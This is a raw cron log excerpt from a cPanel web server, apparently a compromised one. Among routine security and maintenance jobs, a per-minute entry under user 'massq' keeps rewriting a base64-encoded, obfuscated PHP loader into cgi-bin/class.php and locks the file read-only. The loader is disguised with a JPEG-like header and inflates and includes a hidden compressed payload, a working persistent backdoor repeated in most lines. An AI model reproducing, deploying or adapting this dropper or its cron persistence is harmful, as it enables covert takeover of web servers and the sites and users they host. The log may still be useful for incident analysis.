Aug 30 23:15:01 server CROND[3144]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 23:16:01 server CROND[3739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:16:01 server CROND[3740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:16:01 server CROND[3741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:17:01 server CROND[3903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:17:01 server CROND[3902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:17:01 server CROND[3904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:18:01 server CROND[4273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:18:01 server CROND[4274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:18:02 server CROND[4275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:19:01 server CROND[4634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:19:01 server CROND[4635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:19:01 server CROND[4636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:20:01 server CROND[5010]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:20:01 server CROND[5012]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 23:20:01 server CROND[5014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:20:01 server CROND[5017]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:20:01 server CROND[5019]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 23:20:01 server CROND[5018]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 23:20:01 server CROND[5021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:20:01 server CROND[5016]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 23:20:01 server CROND[5020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:21:01 server CROND[5939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:21:01 server CROND[5940]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:21:01 server CROND[5941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:22:01 server CROND[6318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:22:01 server CROND[6320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:22:01 server CROND[6319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:23:01 server CROND[6684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:23:01 server CROND[6685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:23:01 server CROND[6686]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:24:01 server CROND[7049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:24:01 server CROND[7048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:24:01 server CROND[7056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:25:01 server CROND[7419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:25:01 server CROND[7420]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:25:01 server CROND[7423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:25:01 server CROND[7424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:25:01 server CROND[7426]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 23:25:01 server CROND[7422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:25:01 server CROND[7425]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 23:26:01 server CROND[8338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:26:01 server CROND[8339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:26:01 server CROND[8340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:27:02 server CROND[8721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:27:02 server CROND[8722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:27:02 server CROND[8723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:27:02 server CROND[8724]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 23:28:01 server CROND[9088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 23:28:01 server CROND[9089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
